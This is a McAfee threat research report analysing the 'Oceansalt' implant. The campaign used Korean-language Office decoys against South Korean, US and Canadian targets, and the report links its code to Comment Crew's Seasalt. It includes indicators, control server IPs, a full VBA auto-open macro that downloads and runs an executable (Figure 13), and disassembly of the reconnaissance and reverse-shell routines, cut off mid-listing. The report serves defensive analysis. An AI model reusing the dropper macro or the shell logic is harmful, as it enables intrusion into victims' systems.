

'Operation Oceansalt' Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group

October 18, 2018



McAfee Advanced Threat Research

'Operation Oceansalt' Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group

Introduction

McAfee® Advanced Threat Research and Anti-Malware Operations teams have discovered another unknown data reconnaissance implant targeting Korean-speaking users. We have named this threat Operation Oceansalt based on its similarity to the earlier malware Seasalt, which is related to earlier Chinese hacking operations. Oceansalt reuses a portion of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group Comment Crew. Oceansalt appears to have been part of an operation targeting South Korea, United States, and Canada in a well-focused attack. A variation of this malware has been distributed from two compromised sites in South Korea. (They are currently offline.) Oceansalt appears to be the first stage of an advanced persistent threat. The malware can send system data to a control server and execute commands on infected machines, but we do not yet know its ultimate purpose. The Advanced Threat Research team has not previously described this implant in any of our analyses.

Comment Crew or Another Actor?

The actions of Comment Crew, also known as APT1, were exposed in 2013 in a ground-breaking report on Chinese cyber espionage against the United States. This report detailed the inner workings of Comment Crew and its cyber offensive capabilities. The consequences of releasing this public report forced the group to either make changes to their techniques or cease their activity altogether. Until this analysis, we had observed no

new activity related to Comment Crew since they were exposed, but now we find portions of their implant code appearing in new operations targeting South Korea.

As we investigated this code overlap, we found no evidence that the source code from Comment Crew was ever made public, nor did we find it being sold in underground markets we examined. Has Comment Crew returned? We think it is unlikely. Due to the lack of indications that this is a new Comment Crew campaign, it

Authors

This report was researched and written by:

- Ryan Sherstobitoff
- Asheer Malhotra

Connect With Us



raises the question of who is responsible. Based on our research, we offer a few potential scenarios that could explain the existence of Comment Crew's code in the current actor's malware targeting South Koreans.

- This is a code-sharing arrangement between two actors
- An actor has privately gained access to the source code from someone involved in the original Comment Crew operations
- This is a "false flag" operation using Comment Crew's code to make it appear that China and North Korea have collaborated on this cyberattack

Does the Actor Speak Korean?

The contents of the malicious documents were written in Korean and contained subjects specifically relating to the finances of projects in South Korea. These documents appear to be unique, not found on open-source channels. We were not able to determine the source of these documents, suggesting they were created by the actor.

The metadata in the malicious Microsoft Office documents used in the attacks contains a Korean-language code page. This data indicates the document contained the Korean-language pack, most likely to ensure the victims could read it. We also see a consistent author, which is typical of the techniques of previous campaigns we have analyzed that involved malicious documents targeting South Koreans.

last_author	Lion
creation_datetime	2018-06-04 12:17:16
author	Lion
last_saved	2018-06-04 13:25:27
application_name	Microsoft Excel
code_page	Korean

Figure 1. Metadata from a code page in a malicious .xls document.

The Advanced Threat Research team concludes that we have found a new implant family created by an actor targeting Korean-speaking users and using components from Comment Crew's source code. Furthermore it is likely that the actor has a good working knowledge of the Korean language.

Targets

During our research we discovered the initial attack vector was spear phishing, with two malicious Korean-language Microsoft Excel documents acting as downloaders of this implant. According to our document analysis, the targets likely had knowledge of South Korean public infrastructure projects and related financials—a clear indication that the actor focused initially on infrastructure.

A second round of malicious documents, this time in Microsoft Word, carried the same metadata and author as the Excel documents. The content was related to the financials of the Inter-Korean Cooperation Fund. The

malicious activity first appeared on May 31, 2018, in South Korea. Further telemetry indicates organizations outside of Korea have fallen victim to this attack; as of August 14, the attack had reached multiple industries in Canada and the United States.

The date of the attack's first appearance in North America is unknown. We did not find Office documents affecting targets in Canada and the United States, but our telemetry indicates the threat has also affected systems in North America. It is possible the attack on North American companies is part of a separate campaign from the one targeting Koreans, especially because we discovered only a handful of malicious documents and they distributed only one variant of the implant out of several we found. Based on our telemetry, the team learned these organizations were in the investment, banking, and agriculture industries.

Objectives and Impact

Our research suggests the targets were those who would read documents related to South Korea's public construction expenses, Inter-Korean Cooperation fund, or other global financial data. One possible motive for the campaign is financial theft. These attacks might be a precursor to a much larger attack that could be devastating given the control the attackers have over their infected victims. The impact of these operations could be huge: Oceansalt gives the attackers full control of any system they manage to compromise and the network it is connected to. A bank's network would be an especially lucrative target.

Further, the code overlaps with that from a previously reported advanced state-sponsored group. The overlap suggests a close collaboration between members of a state-sponsored group and the current actors in conducting cyber operations.

Campaign Analysis

The campaign to target and compromise victims across the world began in Korea and expanded globally in stages. The distribution URLs for the implants were fairly consistent for the malicious documents; it appears the actor hacked a number of South Korean websites to host the implant code.

Wave One: South Korean higher education

The first wave of attacks began with a malicious document created May 18, with a last saved date of May 28. The author of this Korean-language document was Lion, whom we will continue to see throughout later documents.

Property	Value
codepage	949
author	Lion
last_saved_by	Lion
create_time	2018-05-18 05:54:56
last_saved_time	2018-05-28 00:29:53
creating_application	Microsoft Excel
security	0

Figure 2. Metadata from a first-wave malicious document.

In the first wave the malicious Excel file contains a list of Korean names, physical addresses, and email addresses. Many of the names belong to those involved in higher education in South Korea or who attend various institutes. However, the list is random and looks like a copy of a database of personal information from a South Korean government authority.

This document contains macro code to download the implant from [www.\[redacted\].kr/admin/data/member/1/log.php](http://www.[redacted].kr/admin/data/member/1/log.php) and execute it as V3UI.exe, the name of a security product in South Korea.

Wave Two: South Korean public infrastructure

The Advanced Threat Research team discovered that the implant was hosted at a legitimate site in South Korea belonging to a music teachers organization that has no relationship to the malicious document. The actor hosted a PHP page that triggered the download of the implant from a malicious VBA script embedded in two Excel documents, which contained Visual Basic macros to communicate, download, and install an implant on the victim's system once the document was opened and viewed. The documents were submitted to us by a South Korean organization during the first wave of attacks.

hxxp://[redacted].kr/admin/data/member/1/log.php

Figure 3. The download URL for the second wave of attacks, against public infrastructure.

This Excel document was created May 31 by the author Lion, a day before the implant was compiled and hosted on the distribution site. The documents appear to be related to South Korean public infrastructure projects and their expenses. Based on our analysis of the documents, it is clear that this attack is targeted toward South Korean individuals in this field.

Property	Value
codepage	949
author	Lion
last_saved_by	Lion
create_time	2018-05-31 06:33:05
last_saved_time	2018-05-31 14:18:35
creating_application	Microsoft Excel
security	0

Figure 4. Metadata from a second-wave malicious document.

REPORT



Figure 5. Malicious document 1: investment trends in public infrastructure projects.

REPORT

1	② (계속사업) 잔사업비 및 사업추진상황 고려 연차별 배분								
2									
3									
4	잔여기간 1년자 2년자 3년자 4년자 5년자 6년자 7년자								
5	1년	100							
6	2년	50	50						
7	3년	30	40	30					
8	4년	20	25	30	25				
9	5년	15	20	25	20	20			
10	6년	10	15	15	25	20	15		
11	7년	10	10	15	15	20	15	15	
12									
13									
14									
15	③ (신규작공) 공사기간 및 사업추진상황 고려 연차별 배분								
16	* 설계비 및 설계기간 별도 산정								
17	공사기간 1년자 2년자 3년자 4년자 5년자 6년자 7년자 8년자 9년자								
18	5년	6	15	32	27	20			
19	6년	5	13	22	25	20	15		
20	7년	5	10	15	22	23	15	10	
21	8년	4	8	13	20	20	15	12	8
22	9년	4	8	12	15	15	15	10	6
23									

Figure 6. Malicious document 2: expenses in public infrastructure projects.

1	20,443,265	10,645,246	1,76,081	147,467	100,514,747	419,104	354,366	514,366	400,366	618,366	343,366	212,366	x	400,366
2	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
3	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
4	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
5	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
6	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
7	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
8	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
9	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
10	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
11	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
12	10,119,828	8,952,137	8,108	21,000	9,026,294	79,000	100,100	294,100	121,000	204,000	107,000	98,000	x	100,000
13														
14														
15	④ (설계비) 공사기간 및 사업추진상황 고려 연차별 배분													
16	* 설계비 및 설계기간 별도 산정													
17	설계기간 1년자 2년자 3년자 4년자 5년자 6년자 7년자 8년자 9년자													
18	5년	6	15	32	27	20								
19	6년	5	13	22	25	20	15							
20	7년	5	10	15	22	23	15	10						
21	8년	4	8	13	20	20	15	12	8					
22	9년	4	8	12	15	15	15	10	6					
23														

Figure 7. Malicious document 3: a public projects expense report.

The last document in this wave was created by Lion on June 4 with the filename 0.온나라_상용_SW_2018년 대상_list_(20180411)_지역업체.xls. This document was observed downloading the implant from the distribution server. It references Onnara, a government agency responsible for land and development in South Korea.

Wave Three: Inter-Korean Cooperation

The third wave included a Word document with the same type of macro code as the Excel files. The document contained fake information related to the financials of the Inter-Korean Cooperation Fund. The document was created at the same time as the attacks on South Korean public infrastructure officials. Lion authored both Excel and Word documents. This Word document used a different South Korean compromised website to distribute the implant. In this wave, an additional Excel document appeared with telephone numbers and contact information connected to the content of the Word document.

[hxxp://\[redacted\].kr/gbbs/bbs/admin/log.php](http://[redacted].kr/gbbs/bbs/admin/log.php)

Figure 8. The distribution URL for the implant for Wave Three.

Figure 9. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.

REPORT

고객사	2018 DM 제품	2018 DM 수량	2018 WSS 제품	2018 WSS 수량	HW여부	2018본계약 지역업체	2018(1분기) 지역업체	2017파드너	2017 지역업체	2018 통합여부
강원도	ACUBE DM	1	MaxigentWSS	1		케이탑			케이탑	O
강릉시	ACUBE DM	1	XecureXML	1		티아이에스			티아이에스	O
동해시	ACUBE DM	1	XecureXML	1		티아이에스			티아이에스	O
삼척시	ACUBE DM	2	XecureXML	2		티아이에스			티아이에스	O
속초시	ACUBE DM	1	XecureXML	1		티아이에스			티아이에스	O
원주시	ACUBE DM	1	XecureXML	1		케이탑			케이탑	O
중천시	ACUBE DM	2	MaxigentWSS	2		케이탑			케이탑	O
태백시	Handy DM	1	XecureXML	1		티아이에스			티아이에스	O
양구군	ACUBE DM	1	MaxigentWSS	1		케이탑			케이탑	O
양양군	ACUBE DM	1	XecureXML	1		티아이에스			티아이에스	O
영월군	ACUBE DM	1	XecureXML	1		케이탑			케이탑	O
정선군	ACUBE DM	2	XecureXML	2		케이탑			케이탑	O
평창군	ACUBE DM	1	Key#XML	1		케이탑			케이탑	O
횡성군	ACUBE DM	1	XecureXML	1		케이탑			케이탑	O
철기도	ACUBE DM	2	MaxigentWSS	2		광주대신			광주대신	O
가평군	Handy DM	1	MaxigentWSS	1		피데스			피데스	O
고양시	Handy DM	1	KSignWSS	1		세원아이티			세원아이티	O
광명시	ACUBE DM	1	MaxigentWSS	1		광주대신			광주대신	O
광주시	ACUBE DM	1	MaxigentWSS	1		광주대신			광주대신	O
구리시			MaxigentWSS	1		광주대신		광주대신(일부)	광주대신	O
군포시	ACUBE DM	1	MaxigentWSS	1		피데스			피데스	O
과천시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
남양주시	ACUBE DM	1	MaxigentWSS	1		피데스			피데스	O
동두천시	ACUBE DM	1	MaxigentWSS	1		세원아이티			피데스	O
김포시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
안산시	ACUBE DM	2	MaxigentWSS	2		광주대신			광주대신	O
안성시	ANYONE DM	2	MaxigentWSS	2		피데스			피데스	O
시흥시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
양주시	ACUBE DM	2	MaxigentWSS	2		피데스		피데스	피데스	O
안양시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
용인시	ACUBE DM	2	MaxigentWSS	2		피데스			피데스	O
오산시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
의정부시	ACUBE DM	2	MaxigentWSS	2		광주대신			광주대신	O
이천시	ACUBE DM	1	MaxigentWSS	1		피데스			피데스	O
파주시	ACUBE DM	2	MaxigentWSS	2		세원아이티			세원아이티	O
평택시	ANYONE DM	1	MaxigentWSS	2		세원아이티	무상			O
의왕시	Handy DM	1	MaxigentWSS	1		세원아이티			피데스	O
하남시	ACUBE DM	2	MaxigentWSS	2		광주대신		광주대신	광주대신	O
화성시	ANYONE DM	2	MaxigentWSS	2		피데스			피데스	O
연천군	ANYONE DM	1	MaxigentWSS	1		세원아이티	무상			O
경상남도	ANYONE DM	2	MaxigentWSS	2	O	한결정보기술	무상			O
거제시	ACUBE DM	1	MaxigentWSS	1		광주대신			광주대신	O
김해시	ACUBE DM	1	MaxigentWSS	1		세원아이티(대구)			아이티원	O
밀양시	Handy DM	1	XecureXML	1	O	한결정보기술			아이티원	O
사천시	ACUBE DM	1	MaxigentWSS	1		광주대신			광주대신	O
양산시	Handy DM	1	XecureXML	1		세원아이티(대구)			아이티원	O
진주시	ACUBE DM	1	MaxigentWSS	1		광주대신			광주대신	O
차원군	ANYONE DM	1	MaxigentWSS	1	O	한결정보기술	무상			O

Figure 10. Fake statistics statement monthly report from the Inter-Korean Corporation Fund.

REPORT

이름	주소	전화번호
에스프리아	서울시 강남구 대치동	02-5488-0405
금강	경기도 성남시 수정구 금정동	031-708-0300
나인	경기도 고양시 일산동구 백석동	031-988-0300
노에텔로	서울시 성동구 회현동길 10	02-566-0300
다신	경기도 안산시 단원구 성포동	031-458-0300
대일실우	서울 성동구 을지동	02-566-0300
대화 광장	경기도 구리시 고촌동	031-950-0300
디포인트호텔	인천 연수구 송도동	031-458-0300
동화	전북 김제시 흥사동	031-950-0300
드림에스	서울시 구로구 구로 1동	02-630-0300
디체이비	경기도 양천구 한우동	02-630-0300
로만스	서울 송파구 가락동	02-630-0300
로잔시계	서울시 송파구 마천동	02-630-0300
판선	경기도 고양시 일산서구 승포로 100	031-950-0300
명진화학	인천시 남동구 고잔동	031-630-0300
바리고	부산시 사상구 모곡동	051-630-0300
법양호텔	서울시 마포구 청계동	02-630-0300
사이스판자	서울시 송파구 방이동	02-630-0300
봉황정관	인천시 남동구 고잔동	031-630-0300
세월	서울시 구로구 구로동	02-630-0300
위고미래	경기도 시흥시 경포동-시화공단	031-950-0300
신광스퀘	인천광역시 서구	031-630-0300
신동	서울 마포구 토크동	02-630-0300
신즈디자인하우스	서울시 강남구 신사동	02-630-0300
신한호프	서울시 영등포구 양천동 1가	02-630-0300
아로스	경기도 화성시 풍산면 송현	031-630-0300
아세아이엔지호텔	서울시 은평구 가산동	02-630-0300
에버그린	경기도 안양시 동안구 관양동	02-630-0300
에버온	경기도 부천시 오정구 삼정동	02-630-0300
에스티즈	충남 천안시 은방면 읍내면	031-630-0300
에스엔지	대전광역시 충구 풍정동	02-630-0300
에스제이제프	경기도 부천시 소사구 송내동	02-630-0300
염우	인천시 서구 가좌동	02-630-0300
영미니풀	경기도 광명시 화산면 10	02-630-0300
오른손의	서울시 성동구 이어그리풀동	02-630-0300

Figure 11. Fake product and partner information.

Wave Four: Targets outside of South Korea

We identified a small number of targets outside of South Korea, as the attacks expanding their scope. We have yet to identify the malicious documents involved in delivering this implant to the victims. Because Waves One and Two contained different distribution servers for the implant, we expect this wave had its own as well. According to McAfee telemetry data between August 10 and 14, these North American targets fall within several industries:

Industry	Country
Financial	United States
Health Care	United States
Health Care	United States
Telecommunications	Canada
Financial	United States
Agriculture and Industrial	United States
Financial	United States
Telecommunications	Canada
Financial	Canada
Financial Technology	United States
Government	United States

Figure 12. Victims in Wave Four of the campaign.

Wave Five: South Korea and United States

The Oceansalt implant was not limited to just one sample. We discovered additional variants using different control servers. As we continued to investigate, we found more samples, though obfuscated to avoid detection. The samples were all identical to the initial Oceansalt implant. The fifth-wave samples were compiled between June 13 and July 17 and were submitted to us by organizations in South Korea and the United States.

Hash	Compile Date	Control Server
38216571e9a9364b509e52ec19fae61b	6/13/2018	172.81.132.62
531dee019792a089a4589c2cce3dac95	6/14/2018	211.104.160.196
0355C116C02B02C05D6E90A0B3DC107C	7/16/2018	27.102.112.179
74A50A5705E2AF736095B6B186D38DDF	7/16/2018	27.102.112.179
45C362F17C5DC8496E97D475562BEC4D	7/17/2018	27.102.112.179
C1773E9CF8265693F37DF1A39E0CBBE2	7/17/2018	27.102.112.179
D14DD769C7F53ACEC482347F539EFDF4	7/17/2018	27.102.112.179
B2F6D9A62C63F61A6B33DC6520BFCCCD	7/17/2018	27.102.112.179
76C8DA4147B08E902809D1E80D96FBB4	7/17/2018	27.102.112.179

Technical Analysis

Download and execution capabilities

- Once the .xls/.doc files are opened in Office, embedded malicious macros contact a download server and write the Oceansalt implant to disk
- These malicious macros execute the Oceansalt implant on the infected endpoint

The indicators of compromise from the malicious .xls downloaders:

IOC Description	IOC Value
Download servers contacted	[redacted].kr [redacted].kr
Oceansalt location on the download server	/admin/data/member/1/log[.]php /gbbs/bbs/admin/log[.]php
Oceansalt location on the infected endpoint	%temp%\SynTPHelper[.]exe %temp%\LMworker[.]exe

```

Private Sub Workbook_Open()
    Dim hInternet As Long
    Dim hConnect As Long
    Dim lFlags As Long
    Dim hRequest As Long
    Dim bOver As Boolean
    Dim strFile As String
    Dim strDir As String
    Dim iFile
    Dim lBytesRead
    Dim sBuffer As String

    Dim Data() As Byte

    Range("A1:M1").Font.Name = "Tahoma"
    Range("A1:M1").Font.Size = 10

    hInternet = InternetOpen(vbNullString, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
    hConnect = InternetConnect(hInternet, "www.google.com", 80, "", "", INTERNET_SERVICE_HTTP, 0, 0)
    lFlags = INTERNET_FLAG_NO_COOKIES
    lFlags = lFlags Or INTERNET_FLAG_NO_CACHE_WRITE
    hRequest = HttpOpenRequest(hConnect, "GET", "/gbbs/bbs/admin/log.php", "HTTP/1.0", vbNullString, vbNullString, lFlags, 0)
    hRes = HttpSendRequest(hRequest, vbNullString, 0, vbNullString, 0)
    strFile = Environ("tmp") & "\oceanchar.exe"
    iFile = FreeFile()

    Open strFile For Binary Access Write As iFile

    Do
        bRes = InternetReadFile(hRequest, Data(0), 1, lBytesRead)
        If lBytesRead > 0 Then
            Put iFile, , Data(0)
        End If
    Loop While lBytesRead > 0

    Close iFile

    hRes = ShellExecute(0, "open", strFile, "", vbNullString, vbNormalFocus)
End Sub

```

Figure 13. A portion of the malicious macro code used to download the implant.

Control Server

The campaign employed multiple control servers. We observed the following IP addresses in implants dating from June to July.

- 172.81.132.62
- 211.104.160.196
- 27102.112.179
- 158.69.131.78

Our telemetry shows this campaign is operational in several countries. Address 211.104.160.196 indicates infections in Costa Rica, the United States, and the Philippines. Address 158.69.131.78 reveals additional infections in the United States and Canada.

These machines resided in numerous countries from August 18–21. Because this operation involves multifunction implants, these machines are likely to be part of a larger covert listener network. The Advanced Threat Research team has observed this kind of targeting in similar operations that compromise victims as control server relays.

Implant Origins

Our initial investigation into earlier similar samples led us to a variant—bf4f5b4ff7ed9c7275496c07f9836028, compiled in 2010. Oceansalt uses portions of code from this sample; their overall similarity is 21%. The reused code is unique, is not considered a common library or common code, and serves reconnaissance and control.

The misclassified sample used a Comment Crew domain. Further investigation revealed the misclassified sample is 99% like Seasalt ([5e0df5b28a349d46ac8cc7d9e5e61a96](#)), a Comment Crew implant reported to have been used in their operations around 2010. Thus the Oceansalt actor is reusing portions of code from Seasalt to form a new implant. Based on the overall techniques, Oceansalt is unlikely to signal a rebirth of Comment Crew, raising the question of how the actor obtained the Seasalt code. Was it provided to this or another actor, or was it leaked and discovered by this actor? We have been unable to find any evidence in underground or public forums that suggest the source code of Seasalt has been leaked or made available.

We discovered another batch of samples compiled on July 16–17 that are obfuscated and essentially the same implant, with minor changes such as the control servers. Some of the samples are missing reverse-shell functionality, indicating that this actor has access to Seasalt source code and can compile implants from the original source. This could demonstrate is a level of collaboration between two nation-states on their cyber offensive programs.

Code Similarities with Seasalt

Oceansalt contains the following strings that are part of Seasalt:

- Upfileer
- Upfileok

REPORT

```
push    eax      ; flags
push    9          ; len
push    offset aUpfileer ; "upfileer"
push    edi      ; s
call    sub_401D30
add     esp, 10h
pop     edi
pop     ebx
mov     ecx, [ebp+var_4]
xor     ecx, ebp
call    @_security_check_cookie@4 ; __security_check_cookie(x)
mov     esp, ebp
pop     ebp
ret
```

Figure 14. Seasalt strings appearing in Oceansalt.

```
loc_401338:          ; hObject
push    ebx
call    ds:CloseHandle
push    0          ; flags
push    9          ; len
push    offset aUpfileok ; "upfileok"
```

Figure 15. Seasalt strings appearing in Oceansalt.

Both implants have a high degree of similarity in code sharing and functions. A few of their commonalities follow.

Command handler and index table similarities

The command handler for both implants uses similar semantics and command codes to execute the same functionalities. Even the mechanism for calculating the command code is similar. Seasalt code is represented on the left and Oceansalt appears on the right:

```
procedure_and_execute_commands_Func_Code: ; CODE XREF: _main+471j
    mov    eax, std
    xor    eax, eax
    lea    edi, [ebp+dst]
    rep    stosd
    mov    eax, dwrd_4000C0
    test   eax, eax
    jaz    loc_40194B
    mov    eax, %
    push   g      ; Flags
    lea    edx, [ebp+dst]
    push   t000      ; len
    push   eax      ; buf
    push   eax      ; s
    call   ebx ; P��
    test   eax, eax
    jle    loc_40194B
    mov    ecx, dwrd ptr [ebp+dst]
    lea    eax, [ecx+1] ; switch 10 cases
    cmp    eax, 0Eh
    ja    short procedure_and_execute_commands_Func_Code ; JNG
    jmp    discommand_Index_Table[eax+4] ; switch jump
procedure_and_execute_commands_Itern_Code: ; CODE XREF: MinMain(x,x,x)+200j
    push   g      ; Flags
    push   10h     ; len
    lea    eax, [ebp+dst]
    push   eax      ; buf
    push   eax      ; s
    call   _recv_and_decode_
    add    esp, 70h
    test   eax, eax
    jle    loc_1342472
    mov    eax, [ebp+dst]
    dec    eax
    cmp    eax, 0Bh
    ja    short default_case ; Switch to 12 cases based on command ID in eax
    jmp    discommand_Index_Table[eax+4] ; switch jump
```

Figure 16. Command handler similarity between Seasalt, at left, and Oceansalt.

```
command_index_table dd offset send_drive_info_loc
                        ; DATA XREF: _main+413Tr
dd offset send_file_info_loc ; jump table for switch statement
dd offset execute_command_loc
dd offset delete_file_loc
dd offset write_file_loc
dd offset read_file_loc
dd offset send_process_info_loc
dd offset terminate_process_loc
dd offset create_reverse_shell_loc
dd offset send_commands_to_reverse_shell_loc
dd offset cleanup_ipc_pipes_for_reverse_shell_loc
dd offset test_send_recv_loc
dd offset sleep_loc
```

```
command_index_table dd offset send_drive_info_loc
                        ; DATA XREF: MinMain(x,x,x)+234Tr
dd offset send_file_info_loc ; jump table for switch statement
dd offset execute_command_loc
dd offset delete_file_loc
dd offset write_file_loc
dd offset read_file_loc
dd offset terminate_processes_info_loc
dd offset killprocess_access_loc
dd offset create_reverse_shell_loc
dd offset send_commands_to_reverse_shell_loc
dd offset cleanup_ipc_pipes_for_reverse_shell_loc
dd offset test_send_recv_loc
```

Figure 17. Command index table similarity between Seasalt, at left, and Oceansalt.

Command and capability similarities

Both implants execute their capabilities in the same way, which indicates they were both developed from the same code base. The response codes used by both implants to indicate the success or failure of the commands executed on the endpoint are also an exact match. Some of these similarities:

- Drive reconnaissance capability: Similar code signatures. Both implants use the same codes to indicate the drive type to the control server.

REPORT

```

sub    esp, 140h
mov    ax, word_48A154
push   edi
mov    word ptr [esp+144h+buf], ax
mov    ecx, 40h
xor    eax, eax
lea    edi, [esp+144h+var_120]
rep stosd
stosw
call   ds:GetLogicalDrives
mov    edx, eax
test   edx, edx
mov    [esp+144h+var_140], edx
jz    loc_4818E0
push   ebx
push   ebp
mov    ebp, [esp+14Ch+var_140]
push   esi
xor    ebx, ebx
; -----
loc_4818FE:           ; CODE XREF: send_drive_info+E81j
        mov    eax, edx
        mov    ecx, ebx
        shr    eax, cl
        test  eax, eax
        jz    loc_4819B0
        test  al, 1
        jz    loc_4819A6
        mov    cl, bl
        lea    edx, [esp+150h+RootPathName]
        add    cl, 41h
        push   edx ; lpRootPathName
        mov    [esp+154h+RootPathName], cl
        mov    [esp+154h+var_130], 3Ah
        mov    [esp+154h+var_130], 0
        call   ds:GetDriveTypeA
        cmp    eax, DRIVE_REMOVABLE
        jnz   short drive_not_removable
        xor    ebx, ebx
        jmp   short drive_not_remote
; -----
drive_not_removable: ; CODE XREF: send_drive_info+75Tj
        cmp    eax, DRIVE_FIXED
        jnz   short drive_not_fixed
        mov    ebp, 1
        jmp   short drive_not_remote
; -----
drive_not_fixed:    ; CODE XREF: send_drive_info+7E1j
        cmp    eax, DRIVE_CDROM
        jnz   short drive_not_cdrom
        mov    ebp, 2
        jmp   short drive_not_remote
; -----
drive_not_cdrom:   ; CODE XREF: send_drive_info+80Tj
        cmp    eax, DRIVE_REMOTE
        jnz   short drive_not_remote
        mov    ebp, 3
; -----
drive_not_remote:  ; CODE XREF: send_drive_info+79Tj
                    ; send_drive_info+85Tj ...
        lea    eax, [esp+150h+RootPathName]
        push   ebx
        push   eax
        lea    ecx, [esp+158h+var_130]
        push   offset ASD ; "%s%d"
        push   ecx ; char *
        call   _sprintf
; -----
loc_1341440:          ; CODE XREF: send_drive_info+1114j
        shr    eax, cl
        test  eax, eax
        jz    loc_13414F7
        test  al, 1
        jz    loc_13414E1
        lea    eax, [ecx+4h]
        mov    [ebp+var_F], 3Ah
        mov    [ebp+RootPathName], al
        lea    eax, [ebp+RootPathName]
        push   eax ; lpRootPathName
        call   ds:GetDriveTypeA
        cmp    eax, DRIVE_REMOTE
        jnz   short drive_not_removable
        xor    ebx, ebx
        jmp   short print_info_on_drive
; -----
drive_not_removable: ; CODE XREF: send_drive_info+88Tj
        cmp    eax, DRIVE_FIXED
        jnz   short drive_not_fixed
        lea    ebx, [eax-2]
        jmp   short print_info_on_drive
; -----
drive_not_fixed:    ; CODE XREF: send_drive_info+94Tj
        cmp    eax, DRIVE_CDROM
        jnz   short drive_not_cdrom
        lea    ebx, [eax-3]
        jmp   short print_info_on_drive
; -----
drive_not_cdrom:   ; CODE XREF: send_drive_info+9ETj
        cmp    eax, DRIVE_REMOTE
        cmovz ebx, esi
; -----
print_info_on_drive: ; CODE XREF: send_drive_info+8FTj
                    ; send_drive_info+99Tj ...
        push   ebx
        lea    eax, [ebp+RootPathName]
        push   eax
        lea    eax, [ebp+Dest]
        push   offset Format ; "%s%d"
        push   eax ; Dest
        call   _sprintf

```

Figure 18. Similarity in the drive recon functionality. Seasalt is at left.

REPORT

- File reconnaissance capability: Similar API and code usage to get file information. The response codes sent to the control server to indicate whether a file was found is an exact match.

```

    lea    edi, [esp+64Ch+FindFileData]
rep stosd
    lea    eax, [esp+64Ch+FindFileData]
push  eax ; lpFindFileData
push  edx ; lpFileName
call  ds:FindFirstFileA
    mov  ebx, eax
    cmp  ebx, 0xFFFFFFFFh
    mov  [esp+64Ch+lpFindFile], ebx
jnz   short loc_401A83
    mov  ecx, [esp+64Ch+s]
    push  0 ; flags
    push  2 ; len
    push  offset buf ; "0"
    push  ecx ; s
    call  ds:send
    pop  edi
    pop  ebx
add   esp, 64Ah
    retn

;
; loc_401A83:          ; CODE XREF: _send_file_info_+41fj
    mov  edx, [esp+64Ch+s]
    push  ebp
    mov  ebp, ds:send
    push  esi
    push  0 ; flags
    push  2 ; len
    push  offset a0 ; "0"
    push  edx ; s
    call  ebp ; send
    mov  ecx, 58h
    xor  eax, eax
    lea    edi, [esp+658h+psfi]
    push  51h ; uFlags
rep stosd
    lea    eax, [esp+658h+psfi]
    push  16h ; cbFileInfo
    push  eax ; psfi
    lea    ecx, [esp+660h+pszPath]
    push  FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
    push  ecx ; pszPath
    call  ds:SHGetFileInfo
    mov  esi, [ebp+lpFileName]
    lea    eax, [ebp+FindFileData]
    push  140h ; Size
    push  0 ; Val
    push  eax ; Dst
    call  _memset
    add  esp, 8Ch
    lea    eax, [ebp+FindFileData]
    push  eax ; lpFindFileData
    push  esi ; lpFileName
    call  ds:FindFirstFileA
    mov  ebx, eax
    push  0 ; flags
    push  2 ; len
    call  _encode_and_send_
    add  esp, 10h
    pop  esi
    pop  ebx
    mov  ecx, [ebp+var_4]
    xor  ecx, ebp
    call  __security_check_cookie(x)
    mov  esp, ebp
    pop  ebp
    retn

;
; loc_1341707:          ; CODE XREF: _send_file_info_+45Tj
    push  offset a0 ; "0"
    push  [ebp+s] ; s
    call  _encode_and_send_
    push  160h ; Size
    lea    eax, [ebp+psfi]
    push  0 ; Val
    push  eax ; Dst
    call  _memset
    add  esp, 1Ch
    lea    eax, [ebp+psfi]
    push  51h ; uFlags
    push  16h ; cbFileInfo
    push  eax ; psfi
    push  FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
    lea    eax, [ebp+pszPath]
    push  eax ; pszPath
    call  ds:SHGetFileInfo

```

Figure 19. Similarity in the command execution capability. Seasalt is at left.

REPORT

- Reverse-shell creation capability: Both implants use similar code signatures to create a reverse shell on the infected endpoint. Both reverse shells are based on cmd.exe.

```
mov    eax, 106Ch
call   __alloca_probe
push   ebx
push   ebp
push   esi
mov    esi, ds>CreatePipe
xor    ebx, ebx
push   edi
lea    eax, [esp+107Ch+PipeAttributes]
push   ebx          ; nSize
push   eax          ; lpPipeAttributes
mov    ebx, 1
push   offset hWritePipe ; hWritePipe
push   offset hReadPipe ; hReadPipe
mov    [esp+108Ch+PipeAttributes.nLength], 0Ch
mov    [esp+108Ch+PipeAttributes.lpSecurityDescriptor], ebx
mov    [esp+108Ch+PipeAttributes.bInheritHandle], ebp
call   esi : CreatePipe
lea    ecx, [esp+107Ch+PipeAttributes]
push   ebx          ; nSize
push   ecx          ; lpPipeAttributes
push   offset hWritePipe_2 ; hWritePipe
push   offset hReadPipe_2 ; hReadPipe
call   esi : CreatePipe
mov    eax, dword ptr aCmd_exe+4 ; "exe"
